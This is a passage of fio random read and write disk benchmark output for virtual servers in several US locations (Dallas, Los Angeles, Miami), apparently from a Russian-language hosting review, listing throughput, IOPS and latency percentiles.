WRITE: io=26627MB, aggrb=454312KB/s, minb=454312KB/s, maxb=454312KB/s, mint=60016msec, maxt=60016msec
Disk stats (read/write):
vda: ios=499/1074165, merge=0/9300, ticks=2744/6945264, in_queue=6948456, util=98.75%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=14845: Mon Dec 16 01:34:41 2019
read : io=7746.9MB, bw=132208KB/s, iops=33052, runt= 60002msec
clat (usec): min=132, max=31092, avg=236.79, stdev=90.81
lat (usec): min=132, max=31092, avg=237.63, stdev=90.84
clat percentiles (usec):
| 1.00th=[ 157], 5.00th=[ 171], 10.00th=[ 181], 20.00th=[ 193],
| 30.00th=[ 205], 40.00th=[ 215], 50.00th=[ 225], 60.00th=[ 237],
| 70.00th=[ 253], 80.00th=[ 274], 90.00th=[ 306], 95.00th=[ 338],
| 99.00th=[ 414], 99.50th=[ 462], 99.90th=[ 708], 99.95th=[ 924],
| 99.99th=[ 3376]
bw (KB /s): min=13992, max=17600, per=12.50%, avg=16531.33, stdev=620.44
lat (usec) : 250=68.62%, 500=31.05%, 750=0.25%, 1000=0.04%
lat (msec) : 2=0.03%, 4=0.01%, 10=0.01%, 20=0.01%, 50=0.01%
cpu : usr=2.35%, sys=4.85%, ctx=1987876, majf=0, minf=73
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1983189/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7746.9MB, aggrb=132208KB/s, minb=132208KB/s, maxb=132208KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
vda: ios=1977990/8, merge=0/5, ticks=408236/0, in_queue=407928, util=99.82%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=14873: Mon Dec 16 01:36:42 2019
write: io=2261.6MB, bw=38594KB/s, iops=9648, runt= 60004msec
clat (usec): min=61, max=44709, avg=823.69, stdev=4921.76
lat (usec): min=61, max=44709, avg=824.57, stdev=4921.78
clat percentiles (usec):
| 1.00th=[ 67], 5.00th=[ 69], 10.00th=[ 72], 20.00th=[ 77],
| 30.00th=[ 82], 40.00th=[ 86], 50.00th=[ 91], 60.00th=[ 96],
| 70.00th=[ 102], 80.00th=[ 112], 90.00th=[ 141], 95.00th=[ 185],
| 99.00th=[34560], 99.50th=[36096], 99.90th=[38144], 99.95th=[39168],
| 99.99th=[40704]
bw (KB /s): min= 3547, max= 5952, per=12.50%, avg=4824.65, stdev=445.14
lat (usec) : 100=65.60%, 250=31.76%, 500=0.46%, 750=0.03%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.01%, 10=0.01%, 20=0.01%, 50=2.14%
cpu : usr=0.85%, sys=2.61%, ctx=1170628, majf=0, minf=73
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=578946/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2261.6MB, aggrb=38593KB/s, minb=38593KB/s, maxb=38593KB/s, mint=60004msec, maxt=60004msec
Disk stats (read/write):
vda: ios=169/578268, merge=0/1640, ticks=164/47368, in_queue=47436, util=78.80%
```
**fio (США, Даллас)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30640: Mon Dec 16 01:36:46 2019
read : io=8101.4MB, bw=138255KB/s, iops=34563, runt= 60001msec
clat (usec): min=1, max=6512, avg=227.73, stdev=127.95
lat (usec): min=1, max=6513, avg=228.26, stdev=127.96
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 171], 20.00th=[ 197],
| 30.00th=[ 209], 40.00th=[ 221], 50.00th=[ 231], 60.00th=[ 243],
| 70.00th=[ 258], 80.00th=[ 274], 90.00th=[ 298], 95.00th=[ 326],
| 99.00th=[ 402], 99.50th=[ 478], 99.90th=[ 2160], 99.95th=[ 2576],
| 99.99th=[ 3280]
bw (KB /s): min=13720, max=24296, per=12.49%, avg=17270.28, stdev=1840.54
lat (usec) : 2=0.19%, 4=7.28%, 10=0.68%, 20=0.10%, 50=0.01%
lat (usec) : 100=0.01%, 250=57.33%, 500=33.96%, 750=0.17%, 1000=0.03%
lat (msec) : 2=0.10%, 4=0.14%, 10=0.01%
cpu : usr=1.64%, sys=5.37%, ctx=1906830, majf=3, minf=93
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2073857/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=8101.4MB, aggrb=138254KB/s, minb=138254KB/s, maxb=138254KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1898815/11, merge=0/3, ticks=429144/0, in_queue=428844, util=98.21%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30667: Mon Dec 16 01:38:53 2019
write: io=37120MB, bw=633470KB/s, iops=158367, runt= 60005msec
clat (usec): min=1, max=268949, avg=35.49, stdev=825.71
lat (usec): min=1, max=268950, avg=38.11, stdev=871.35
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 2], 20.00th=[ 2],
| 30.00th=[ 2], 40.00th=[ 2], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 3], 80.00th=[ 3], 90.00th=[ 3], 95.00th=[ 4],
| 99.00th=[ 7], 99.50th=[ 14], 99.90th=[12992], 99.95th=[18304],
| 99.99th=[30080]
bw (KB /s): min= 0, max=113093, per=12.76%, avg=80836.06, stdev=9692.35
lat (usec) : 2=0.17%, 4=90.19%, 10=8.87%, 20=0.40%, 50=0.04%
lat (usec) : 100=0.03%, 250=0.01%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.02%, 4=0.02%, 10=0.08%, 20=0.10%, 50=0.04%
lat (msec) : 100=0.01%, 250=0.01%, 500=0.01%
cpu : usr=2.99%, sys=7.69%, ctx=71565, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=9502839/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=37120MB, aggrb=633469KB/s, minb=633469KB/s, maxb=633469KB/s, mint=60005msec, maxt=60005msec
Disk stats (read/write):
vda: ios=178/767585, merge=0/7960, ticks=1388/6914052, in_queue=6915356, util=98.99%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30654: Mon Dec 16 01:37:53 2019
read : io=7669.1MB, bw=130896KB/s, iops=32724, runt= 60002msec
clat (usec): min=138, max=4498, avg=240.61, stdev=71.44
lat (usec): min=139, max=4499, avg=241.16, stdev=71.45
clat percentiles (usec):
| 1.00th=[ 165], 5.00th=[ 179], 10.00th=[ 189], 20.00th=[ 203],
| 30.00th=[ 213], 40.00th=[ 223], 50.00th=[ 233], 60.00th=[ 243],
| 70.00th=[ 258], 80.00th=[ 274], 90.00th=[ 298], 95.00th=[ 322],
| 99.00th=[ 386], 99.50th=[ 422], 99.90th=[ 668], 99.95th=[ 1240],
| 99.99th=[ 3408]
bw (KB /s): min=14360, max=17592, per=12.51%, avg=16370.02, stdev=521.56
lat (usec) : 250=65.23%, 500=34.55%, 750=0.13%, 1000=0.02%
lat (msec) : 2=0.04%, 4=0.02%, 10=0.01%
cpu : usr=1.77%, sys=4.75%, ctx=1966567, majf=0, minf=72
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1963511/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7669.1MB, aggrb=130896KB/s, minb=130896KB/s, maxb=130896KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
vda: ios=1959684/10, merge=0/4, ticks=400752/0, in_queue=400488, util=99.80%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30680: Mon Dec 16 01:39:54 2019
write: io=2169.8MB, bw=37028KB/s, iops=9256, runt= 60005msec
clat (usec): min=64, max=65768, avg=859.93, stdev=5258.49
lat (usec): min=64, max=65768, avg=860.55, stdev=5258.50
clat percentiles (usec):
| 1.00th=[ 70], 5.00th=[ 74], 10.00th=[ 78], 20.00th=[ 84],
| 30.00th=[ 89], 40.00th=[ 94], 50.00th=[ 99], 60.00th=[ 104],
| 70.00th=[ 110], 80.00th=[ 119], 90.00th=[ 139], 95.00th=[ 165],
| 99.00th=[37632], 99.50th=[39680], 99.90th=[42240], 99.95th=[42752],
| 99.99th=[44288]
bw (KB /s): min= 2715, max= 6448, per=12.51%, avg=4630.24, stdev=529.55
lat (usec) : 100=51.63%, 250=45.89%, 500=0.36%, 750=0.03%, 1000=0.01%
lat (msec) : 2=0.02%, 4=0.01%, 10=0.01%, 20=0.01%, 50=2.04%
lat (msec) : 100=0.01%
cpu : usr=0.56%, sys=2.64%, ctx=1122771, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=555463/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2169.8MB, aggrb=37027KB/s, minb=37027KB/s, maxb=37027KB/s, mint=60005msec, maxt=60005msec
Disk stats (read/write):
vda: ios=170/554923, merge=0/1544, ticks=80/48648, in_queue=48628, util=80.92%
```
**fio (США, Лос-Анджелес)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30302: Mon Dec 16 01:40:53 2019
read : io=4527.3MB, bw=77216KB/s, iops=19304, runt= 60038msec
clat (usec): min=2, max=1002.6K, avg=409.03, stdev=3749.04
lat (usec): min=2, max=1002.6K, avg=409.87, stdev=3749.05
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 7], 10.00th=[ 177], 20.00th=[ 195],
| 30.00th=[ 209], 40.00th=[ 219], 50.00th=[ 233], 60.00th=[ 247],
| 70.00th=[ 266], 80.00th=[ 298], 90.00th=[ 354], 95.00th=[ 426],
| 99.00th=[ 1736], 99.50th=[ 6176], 99.90th=[41728], 99.95th=[44288],
| 99.99th=[55040]
bw (KB /s): min= 4, max=21176, per=12.78%, avg=9869.13, stdev=6950.72
lat (usec) : 4=3.86%, 10=1.28%, 20=0.21%, 50=0.02%, 100=0.01%
lat (usec) : 250=56.16%, 500=34.99%, 750=1.52%, 1000=0.64%
lat (msec) : 2=0.37%, 4=0.23%, 10=0.38%, 20=0.04%, 50=0.27%
lat (msec) : 100=0.01%, 250=0.01%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2000=0.01%
cpu : usr=1.49%, sys=3.24%, ctx=1100743, majf=0, minf=84
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1158981/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=4527.3MB, aggrb=77216KB/s, minb=77216KB/s, maxb=77216KB/s, mint=60038msec, maxt=60038msec
Disk stats (read/write):
vda: ios=1096289/9, merge=0/4, ticks=432752/56, in_queue=432560, util=99.17%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30328: Mon Dec 16 01:43:06 2019
write: io=27193MB, bw=464019KB/s, iops=116004, runt= 60009msec
clat (usec): min=1, max=176038, avg=43.66, stdev=914.60
lat (usec): min=2, max=200012, avg=48.16, stdev=982.18
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 3], 80.00th=[ 4], 90.00th=[ 4], 95.00th=[ 5],
| 99.00th=[ 15], 99.50th=[ 23], 99.90th=[14912], 99.95th=[20096],
| 99.99th=[32128]
bw (KB /s): min= 1, max=72232, per=12.65%, avg=58689.60, stdev=6954.65
lat (usec) : 2=0.01%, 4=71.10%, 10=27.12%, 20=1.20%, 50=0.15%
lat (usec) : 100=0.04%, 250=0.02%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.02%, 4=0.03%, 10=0.10%, 20=0.12%, 50=0.05%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=4.91%, sys=5.92%, ctx=71147, majf=0, minf=60
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=6961325/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=27193MB, aggrb=464018KB/s, minb=464018KB/s, maxb=464018KB/s, mint=60009msec, maxt=60009msec
Disk stats (read/write):
vda: ios=174/804965, merge=0/9109, ticks=844/6904508, in_queue=6906288, util=98.78%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30315: Mon Dec 16 01:42:06 2019
read : io=4759.4MB, bw=81225KB/s, iops=20306, runt= 60001msec
clat (usec): min=134, max=83824, avg=388.59, stdev=2280.97
lat (usec): min=134, max=83825, avg=389.43, stdev=2280.98
clat percentiles (usec):
| 1.00th=[ 161], 5.00th=[ 175], 10.00th=[ 185], 20.00th=[ 199],
| 30.00th=[ 211], 40.00th=[ 221], 50.00th=[ 233], 60.00th=[ 247],
| 70.00th=[ 266], 80.00th=[ 294], 90.00th=[ 342], 95.00th=[ 394],
| 99.00th=[ 708], 99.50th=[ 3728], 99.90th=[43776], 99.95th=[46848],
| 99.99th=[55552]
bw (KB /s): min= 77, max=16936, per=12.65%, avg=10274.83, stdev=6866.05
lat (usec) : 250=61.27%, 500=36.86%, 750=0.93%, 1000=0.16%
lat (msec) : 2=0.20%, 4=0.10%, 10=0.17%, 20=0.03%, 50=0.27%
lat (msec) : 100=0.02%
cpu : usr=1.63%, sys=3.04%, ctx=1220916, majf=0, minf=75
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1218402/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=4759.4MB, aggrb=81225KB/s, minb=81225KB/s, maxb=81225KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1216358/8, merge=0/5, ticks=429456/96, in_queue=429404, util=99.85%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30341: Mon Dec 16 01:44:07 2019
write: io=1957.9MB, bw=33412KB/s, iops=8352, runt= 60003msec
clat (usec): min=60, max=282347, avg=952.06, stdev=5702.32
lat (usec): min=61, max=282348, avg=952.98, stdev=5702.34
clat percentiles (usec):
| 1.00th=[ 68], 5.00th=[ 72], 10.00th=[ 76], 20.00th=[ 83],
| 30.00th=[ 88], 40.00th=[ 93], 50.00th=[ 98], 60.00th=[ 104],
| 70.00th=[ 111], 80.00th=[ 125], 90.00th=[ 177], 95.00th=[ 243],
| 99.00th=[36096], 99.50th=[38144], 99.90th=[43264], 99.95th=[46848],
| 99.99th=[112128]
bw (KB /s): min= 1125, max= 5928, per=12.51%, avg=4180.03, stdev=644.04
lat (usec) : 100=52.16%, 250=43.18%, 500=2.04%, 750=0.12%, 1000=0.05%
lat (msec) : 2=0.07%, 4=0.04%, 10=0.02%, 20=0.01%, 50=2.29%
lat (msec) : 100=0.03%, 250=0.01%, 500=0.01%
cpu : usr=0.74%, sys=2.51%, ctx=1014281, majf=0, minf=68
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=501203/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=1957.9MB, aggrb=33411KB/s, minb=33411KB/s, maxb=33411KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
vda: ios=173/500597, merge=0/1694, ticks=236/48308, in_queue=48456, util=80.38%
```
**fio (США, Майами)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=29120: Mon Dec 16 01:44:27 2019
read : io=9084.3MB, bw=155035KB/s, iops=38758, runt= 60001msec
clat (usec): min=1, max=4963, avg=202.89, stdev=119.18
lat (usec): min=1, max=4964, avg=203.40, stdev=119.20
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 153], 20.00th=[ 177],
| 30.00th=[ 189], 40.00th=[ 199], 50.00th=[ 209], 60.00th=[ 217],
| 70.00th=[ 229], 80.00th=[ 243], 90.00th=[ 266], 95.00th=[ 290],
| 99.00th=[ 350], 99.50th=[ 394], 99.90th=[ 2064], 99.95th=[ 2416],
| 99.99th=[ 3216]
bw (KB /s): min=15200, max=26664, per=12.50%, avg=19375.82, stdev=2121.46
lat (usec) : 2=0.37%, 4=8.07%, 10=0.62%, 20=0.14%, 50=0.03%
lat (usec) : 100=0.01%, 250=74.10%, 500=16.39%, 750=0.05%, 1000=0.02%
lat (msec) : 2=0.10%, 4=0.12%, 10=0.01%
cpu : usr=1.75%, sys=5.59%, ctx=2120348, majf=2, minf=85
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2325570/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=9084.3MB, aggrb=155035KB/s, minb=155035KB/s, maxb=155035KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=2106654/9, merge=0/4, ticks=407152/0, in_queue=406904, util=98.14%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=29147: Mon Dec 16 01:46:35 2019
write: io=36107MB, bw=616162KB/s, iops=154040, runt= 60007msec
clat (usec): min=1, max=249081, avg=36.39, stdev=848.32
lat (usec): min=1, max=249082, avg=39.14, stdev=895.29
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 2], 20.00th=[ 2],
| 30.00th=[ 2], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 3], 80.00th=[ 3], 90.00th=[ 3], 95.00th=[ 4],
| 99.00th=[ 17], 99.50th=[ 19], 99.90th=[13248], 99.95th=[19072],
| 99.99th=[31872]
bw (KB /s): min= 1, max=116880, per=12.62%, avg=77787.91, stdev=9285.64
lat (usec) : 2=0.15%, 4=92.02%, 10=6.23%, 20=1.17%, 50=0.11%
lat (usec) : 100=0.02%, 250=0.01%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.02%, 4=0.02%, 10=0.08%, 20=0.10%, 50=0.04%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=3.13%, sys=7.64%, ctx=72362, majf=0, minf=83
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=9243503/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=36107MB, aggrb=616161KB/s, minb=616161KB/s, maxb=616161KB/s, mint=60007msec, maxt=60007msec
Disk stats (read/write):
vda: ios=175/658814, merge=0/8609, ticks=1444/6946772, in_queue=6949828, util=99.24%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=29134: Mon Dec 16 01:45:35 2019
read : io=8421.3MB, bw=143720KB/s, iops=35929, runt= 60001msec
clat (usec): min=131, max=5964, avg=218.95, stdev=56.93
lat (usec): min=132, max=5964, avg=219.50, stdev=56.95
clat percentiles (usec):
| 1.00th=[ 155], 5.00th=[ 165], 10.00th=[ 173], 20.00th=[ 185],
| 30.00th=[ 195], 40.00th=[ 203], 50.00th=[ 211], 60.00th=[ 221],
| 70.00th=[ 233], 80.00th=[ 247], 90.00th=[ 270], 95.00th=[ 294],
| 99.00th=[ 350], 99.50th=[ 378], 99.90th=[ 596], 99.95th=[ 948],
| 99.99th=[ 2128]
bw (KB /s): min=14576, max=19592, per=12.50%, avg=17966.93, stdev=957.49
lat (usec) : 250=81.46%, 500=18.40%, 750=0.07%, 1000=0.02%
lat (msec) : 2=0.03%, 4=0.01%, 10=0.01%
cpu : usr=1.80%, sys=5.00%, ctx=2158860, majf=0, minf=80
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
